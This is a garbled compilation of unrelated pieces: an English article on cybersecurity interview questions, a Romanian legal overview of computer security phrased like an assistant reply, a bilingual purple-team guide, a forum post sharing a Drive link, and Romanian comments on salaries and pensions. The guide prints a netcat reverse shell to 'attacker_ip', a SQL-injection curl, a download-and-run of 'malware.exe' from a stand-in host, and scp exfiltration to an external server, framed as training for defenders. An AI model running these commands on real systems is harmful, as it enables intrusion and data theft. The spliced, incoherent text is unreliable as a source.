7 Tough Cybersecurity Interview Questions Cyber security analyst. Information security specialist. Software security engineer. Chief information security officer. No matter where your interest lies in cybersecurity, your skills are needed. All that stands between you and your dream role, is the job interview. When meeting with organizations ready to fill cybersecurity positions, you should be prepared to face some tough questions. Employers will want to gauge your practical knowledge, as well as determine whether you can tell the difference between some key cybersecurity concepts (i.e., black hat, white hat, and gray hat hackers). Here are a few questions you can expect to encounter during the interview process. 1. Why did you (or do you) want to get involved in cybersecurity? Your credentials may demonstrate where you’ve been and what hard skills you’ve developed, but they won’t necessarily show your passion for the cause and your gumption for fighting cyber criminals. Be ready to talk about your strengths in the intangible areas of instinct, sense of duty, morality, and such. 2. Can you describe a time you solved a cybersecurity issue within a team? Soft skills are sorely needed in cybersecurity, including being able to work as part of a team. Effective cybersecurity means having to solve problems with others, so being able to bring to mind times when you’ve worked as part of a group will be essential. A potential employer will want to know that you can play nicely as a team member, along with being able to critical-think on your own. Be aware that this may lend itself to another question about any roadblocks you might have encountered while solving a cybersecurity concern. It’s best to highlight how you took positive action within the team, or even led the team, to overcome something such as individual differences of opinion, varying skill levels within the group, or management intervention. Just be careful in discussing how you overcame any management issues so as not to put off an executive-level interviewer. 3. Have you ever experienced a serious breach? While talking about your problem-solving skills within a team atmosphere, be prepared for this hard-hitting question. Jason Taule, vice president of Standards and CISO at HITRUST, considers this one especially tough because there is no right answer. “No one wants to admit to having had a breach on their watch, but many times they happen despite one’s best efforts through no fault of the security team or CISO,” Taule says. “On the other hand, a ‘no’ response might suggest the candidate lacks necessary experience to successfully navigate an organization through a major breach.” Taule’s suggestion: Acknowledge the seeming inevitability of breaches, “but focus on accomplishments in building successful detection capabilities and effective incident response programs, and describing experiences gained handling less severe but otherwise reportable events instead.” 4. How do you stay on top of industry trends and changes? This question is designed to test your industry knowledge. Is it relevant and up to date? Here, a generic answer won’t cut it. Instead, offer up some specific news websites, security forums, podcasts, or blogs, and provide an example of a recent trend and where you read about it. This is a great time to talk about your cybersecurity education—particularly an advanced degree, and any immersive learning experiences you have. You can speak about the need for constant learning in cybersecurity, and how your degree helps achieve this. 5. What can you tell me about security within my company? You should definitely expect a question along these lines. It’s normal for any business to check that a candidate has researched them and understands what product or service they offer. A potential employer will want to see that you have knowledge of the type of technology they’re using and any other information you can gather. Take it from CSO Online’s George V. Hulme, who advises that you should try to understand what language(s) the company uses. Anything you can offer up during an interview will add to your credibility. 6. Can you describe a complex cybersecurity concept in easy-to-understand language? One of the most sought-after skills in cybersecurity is the ability to communicate a complex topic in a simplified way. As Tim Heard at the Infosec Institute writes, being able to grasp the “big picture” and deliver information that’s key to specific stakeholders, while disregarding unessential information, is a highly desired trait. To build these soft skills, consider investing in a Master’s degree in Cybersecurity (if you don’t already have one) through which you can learn how to easily communicate complex cybersecurity issues and techniques. 7. What is a pen test and can you explain the process of pen testing? You may not get this exact question, but as IT security risk manager Adriano Leite of Cliffside Security explains, you’re likely to receive many questions about specific test protocols and be asked to take the interviewer through a specific process. Not only should you have processes like penetration testing down pat, but you should also know other types of technical details—such as encryption, basic coding, and patch management—and be able to apply your knowledge to real-world scenarios based on the level of expertise wanted. The ability to describe how you would defend an organization against a threat will be a definite plus. When it comes to cybersecurity know-how, you can’t be too prepared for any interview question. Learn as much detail about the industry as possible, and be ready to relate everything you know back to practical examples for the interviewer.

Desigur, vă pot oferi un articol scurt despre securitatea calculatoarelor. Vă reamintesc că acesta este un articol general și nu constituie consultanță juridică specifică. Consultați întotdeauna un avocat pentru sfaturi juridice precise în ceea ce privește securitatea calculatoarelor și conformitatea cu legile locale. Securitatea Calculatoarelor: Responsabilități și Conformitate Legală În era digitală în care trăim, securitatea calculatoarelor este o preocupare majoră pentru indivizi, companii și guverne. Protejarea datelor și a informațiilor personale devine din ce în ce mai importantă, iar legislația a evoluat pentru a aborda aceste aspecte. Acest articol explorează responsabilitățile legale asociate securității calculatoarelor și modul în care puteți să vă asigurați că sunteți în conformitate cu legile relevante. Protecția Datelor Personale Protecția datelor personale este o problemă deosebit de importantă. În multe jurisdicții, există legi care reglementează colectarea, stocarea și utilizarea datelor personale. Exemple notabile includ Regulamentul General privind Protecția Datelor (GDPR) în Uniunea Europeană și Legea Protecției Intimității Consumatorilor din California (CCPA) în Statele Unite ale Americii. Aceste legi impun responsabilități clare pentru organizatii în ceea ce privește securitatea datelor personale, inclusiv obligația de a notifica persoanele afectate în caz de încălcare a securității datelor. Securitatea Cibernetică Securitatea cibernetică se referă la protejarea sistemelor informatice împotriva atacurilor cibernetice. Multe țări au adoptat legi care impun cerințe stricte pentru protejarea datelor și a infrastructurii critice împotriva atacurilor cibernetice. Organizațiile pot fi obligate să implementeze măsuri de securitate cibernetică, să raporteze incidentele și să coopereze cu autoritățile în anchetele legate de securitatea cibernetică. Drepturile Consumatorilor Legile privind securitatea calculatoarelor adesea includ și prevederi privind drepturile consumatorilor. Acestea pot oferi consumatorilor dreptul de a solicita informații despre datele lor personale stocate de către o organizație, precum și dreptul de a solicita ștergerea sau corectarea acestor date. Este important ca organizațiile să fie conștiente de aceste drepturi și să le respecte. Responsabilitatea Individuală Pe lângă obligațiile legale ale organizațiilor, indivizii au, de asemenea, responsabilități în ceea ce privește securitatea calculatoarelor lor. Aceasta include utilizarea unor parole puternice, actualizarea software-ului și antivirusului, și evitarea descărcării de software sau fișiere din surse necunoscute. În concluzie, securitatea calculatoarelor este o preocupare importantă din perspectivă legală și etică. Este esențial să vă informați cu privire la legile locale și internaționale care reglementează acest domeniu și să luați măsuri corespunzătoare pentru a vă proteja datele și sistemele informatice. Consultați un avocat pentru a vă asigura că sunteți în conformitate cu legile relevante și că vă protejați împotriva riscurilor de securitate cibernetică.

Într-un exercițiu de echipă violet, este important să simulați diferite scenarii de atac și răspunsuri defensive. Iată cinci exemple de fragmente de cod shell care pot fi folosite pentru diferite scenarii de atac și detecție: 1. Executarea comenzii de la distanță: În acest scenariu, echipa roșie simulează un atac de execuție a comenzii de la distanță, iar echipa albastră se concentrează pe detectarea și răspunsul la acesta. Echipa roșie (simulare de atac): echipa roșie poate folosi Netcat pentru a simula o carcasă inversă: Shell # Mașina atacatorului (ascultând carcasa inversă) nc -lvp 4444 # Gazdă compromisă (executarea shell-ului invers) nc -e /bin/bash attacker_ip 4444 Echipa albastră (apărare și detectare): echipa albastră ar trebui să monitorizeze anomaliile de trafic în rețea, conexiunile de ieșire neobișnuite și procesele cu argumente suspecte de linie de comandă. Aceștia pot utiliza sisteme de detectare a intruziunilor în rețea (NIDS) și instrumente de detectare și răspuns la punctele finale (EDR) pentru a detecta și a răspunde la o astfel de activitate. 2. Atacul aplicațiilor web: În acest scenariu, echipa roșie simulează un atac de aplicație web, cum ar fi injecția SQL, iar echipa albastră se concentrează pe detectarea și atenuarea acestuia. Red Team (Attack Simulation): Simulați un atac de injecție SQL pe o aplicație web vulnerabilă: Shell # Send a malicious SQL payload curl -d "username=admin' OR 1=1 --" http://vulnerable-website.com/login Blue Team (Defense and Detection): The blue team should monitor web application logs for SQL injection attempts, input validation failures, and other suspicious behavior. They can use web application firewalls (WAFs) and web server logs to detect and block malicious requests. 3. Malware Download and Execution: In this scenario, the red team simulates a malware download and execution attempt, and the blue team focuses on detecting and responding to it. Red Team (Malware Simulation): Download and execute a benign test file (not actual malware): shell # Simulate downloading and executing a file curl -O http://malicious-website.com/malware.exe chmod +x malware.exe ./malware.exe Blue Team (Defense and Detection): The blue team should monitor network traffic for unusual file downloads, connections to known malicious domains, and changes to file permissions. They can also employ endpoint protection platforms (EPPs) to detect and block suspicious executables. 4. Privilege Escalation: In this scenario, the red team simulates privilege escalation on a compromised system, and the blue team aims to detect and respond to it. Red Team (Attack Simulation): Attempt to escalate privileges using a known exploit: shell # Simulate privilege escalation exploit.py Blue Team (Defense and Detection): The blue team should monitor system logs, audit trails, and changes to system files and configurations for signs of privilege escalation attempts. They can use intrusion detection systems (IDS) and security information and event management (SIEM) solutions to identify such activities. 5. Insider Threat Scenario: In this scenario, simulate an insider threat where a user with legitimate access abuses their privileges. Red Team (Insider Threat Simulation): Create a script that a legitimate user can run to exfiltrate sensitive data: shell # Simulate data exfiltration scp sensitive_file user@external_server.com:/path/to/store/data Blue Team (Defense and Detection): The blue team should monitor for suspicious user behavior, unauthorized data transfers, and attempts to access sensitive data without a legitimate need. User and entity behavior analytics (UEBA) tools can help in detecting anomalous user activities. Remember that these are simulated scenarios for purple teaming exercises conducted in controlled environments with proper authorization. The goal is to improve security awareness, detection capabilities, and incident response procedures without causing harm to real systems or networks.

Din vistieria lui mosu' warlord : https://drive.google.com/drive/folders/1ct1FjbGXpSkRP1q6t_pY7s3BidPUS9hO?usp=sharing Daca cautati ceva special, DM me.

Nu mai bine ii ziceai ca cauta un Senior Cloud Security Architect decat engineer? Sau asta e noua norma: dai titlu mai slab, dar cere mult, si platesti putin, ca na titlul.

Voi vorbiti de salarii acuma, dar sa vezi ce pensii o sa fie in Romania si cum o sa traiasca lumea, vai de capul lor. Lucreaza multi cum lucreaza, si apoi la pensie injura ca nu pot trai decent. De s-ar mai calma inflatia asta, dar se pare ca nici un economism nu stie nimic cum sa iesim din prostia asta de capitalism sau nu se vrea sa se stie. Toate deciziile boilor de la guvernare sunt de pe urma inflatiei si datoriei in care s-au bagat ca prostii, de parca ne trebuia la noi submarin la 1 miliard de $.